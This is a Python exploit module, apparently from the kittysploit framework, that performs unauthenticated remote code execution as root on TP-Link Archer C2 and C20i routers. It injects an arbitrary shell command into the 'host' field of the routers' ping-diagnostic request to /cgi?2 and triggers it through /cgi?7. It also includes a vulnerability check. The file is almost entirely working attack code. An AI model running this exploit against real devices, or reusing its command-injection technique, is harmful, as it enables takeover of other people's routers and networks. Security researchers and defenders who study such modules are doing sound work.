TP-Link Archer C2 & C20i

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""TP-Link Archer C2 & C20i"""


import time
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'TP-Link Archer C2 & C20i',
        'description': 'Exploits TP-Link Archer C2 and Archer C20i remote code execution vulnerability that allows executing commands on operating system level with root privileges.',
        'author': ['Michal Sajdak <[email protected]', 'Marcin Bury'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['http://sekurak.pl/tp-link-root-bez-uwierzytelnienia-urzadzenia-archer-c20i-oraz-c2/'],
        'tags': ['iot', 'router', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def execute(self, cmd):
        referer = "{}/mainFrame.htm".format(self.target)

        headers = {
            "Content-Type": "text/plain",
            "Referer": referer
        }

        data = ("[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n"
                "dataBlockSize=64\r\n"
                "timeout=1\r\n"
                "numberOfRepetitions=1\r\n"
                "host=127.0.0.1;" + cmd + ";\r\n"
                "X_TP_ConnName=ewan_ipoe_s\r\n"
                "diagnosticsState=Requested\r\n")

        # send command
        self.http_request(
            method="POST",
            path="/cgi?2",
            headers=headers,
            data=data
        )

        data = ("[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n")

        # execute command on device
        self.http_request(
            method="POST",
            path="/cgi?7",
            headers=headers,
            data=data
        )
        time.sleep(1)

        return ""
    def check(self):
        referer = self.get_target_url(path="/mainFrame.htm")
        headers = {
            "Content-Type": "text/plain",
            "Referer": referer
        }

        data = (
            "[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n"
            "dataBlockSize=64\r\n"
            "timeout=1\r\n"
            "numberOfRepetitions=1\r\n"
            "host=127.0.0.1\r\n"
            "X_TP_ConnName=ewan_ipoe_s\r\n"
            "diagnosticsState=Requested\r\n"
        )

        response = self.http_request(
            method="POST",
            path="/cgi?2",
            headers=headers,
            data=data
        )
        if response is None:
            return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable

        if response.status_code == 200 and "[error]0" in response.text:
            return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}  # target is vulnerable

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()